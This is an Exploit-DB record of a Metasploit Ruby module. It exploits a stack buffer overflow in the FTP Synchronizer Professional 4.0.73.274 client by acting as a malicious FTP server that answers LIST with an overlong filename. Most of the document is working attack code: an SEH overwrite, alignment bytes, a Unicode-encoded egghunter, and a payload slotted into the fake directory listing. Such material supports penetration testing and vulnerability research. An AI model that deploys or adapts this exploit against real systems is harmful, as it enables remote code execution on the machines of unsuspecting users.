Exploit-DB #16720
Description: FTP Synchronizer Professional 4.0.73.274 - Remote Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-14
Author: Metasploit

Exploit:
##
# $Id: ftpsynch_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Exploit::Remote::FtpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'FTP Synchronizer Professional 4.0.73.274 Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow vulnerability in FTP Synchronizer Pro
				version 4.0.73.274 The overflow gets triggered by sending an overly long filename to
				the client in response to a LIST command.
				The LIST command gets issued when doing a preview or when you have just created a new
				sync profile and allow the tool to see the differences.
				This will overwrite a structured exception handler and trigger an access violation.
			},
			'Author' 	 =>
				[
					'myne-us',  	#found the bug
					'corelanc0d3r'	#wrote the exploit
				],
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 11039 $",
			'References'     =>
				[
					[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'BadChars' => "\x00\x0a\x2f\x5c",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'XP Universal', { 'Offset' => 854, 'Ret' => "\x2D\x78" } ], # p/p/r FTPSynchronizer.exe
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Oct 12 2010',
			'DefaultTarget'  => 0))
	end

	def setup
		super
	end

	def on_client_unknown_command(c,cmd,arg)
		c.put("200 OK\r\n")
	end

	def on_client_command_list(c,arg)
		conn = establish_data_connection(c)
		if(not conn)
			c.put("425 Can't build data connection\r\n")
			return
		end
		print_status(" - Data connection set up")
		code = 150
		c.put("#{code} Here comes the directory listing.\r\n")
		code = 226
		c.put("#{code} Directory send ok.\r\n")
		totalsize = 4000
		foldername = "A" *  target['Offset']
		nseh = "\x61\x42"
		seh = "\x2D\x78"
		sehpad = "\x44\x62"
		align = "\x53\x62\x58\x62"
		align << "\x40\x62"
		align << "\x05\x11\x10\x62"
		align << "\x2d\x10\x10\x62"
		padding = ("\x42\x62" * 53) + ("\x48\x62")
		#basereg EAX, Unicode encoded egghunter
		hunter = "PPYAIAIAIAIAQATAXAZAPA3QADAZ"
		hunter << "ABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAX"
		hunter << "A58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABA"
		hunter << "BAB30APB944JBQVE1HJKOLOPB0RBJLBQHHMNNOLM5PZ4"
		hunter << "4JO7H2WP0P0T4TKZZFOSEZJ6OT5K7KO9WA"
		buffer = foldername + nseh + seh + sehpad + align + padding + hunter
		junk = "D" * (totalsize-buffer.length)
		buffer << junk
		print_status(" - Sending directory list via data connection")
		dirlist =  "drwxrwxrwx    1 100      0           11111 Jun 11 21:10 #{"w00tw00t"+payload.encoded}\r\n"
		dirlist << "-rw-rw-r--    1 1176     1176         1060 Aug 16 22:22 #{buffer}\r\n"
		conn.put("total 2\r\n"+dirlist)
		print_status(" - Payload sent, wait for hunter...")
		conn.close
		return
	end

end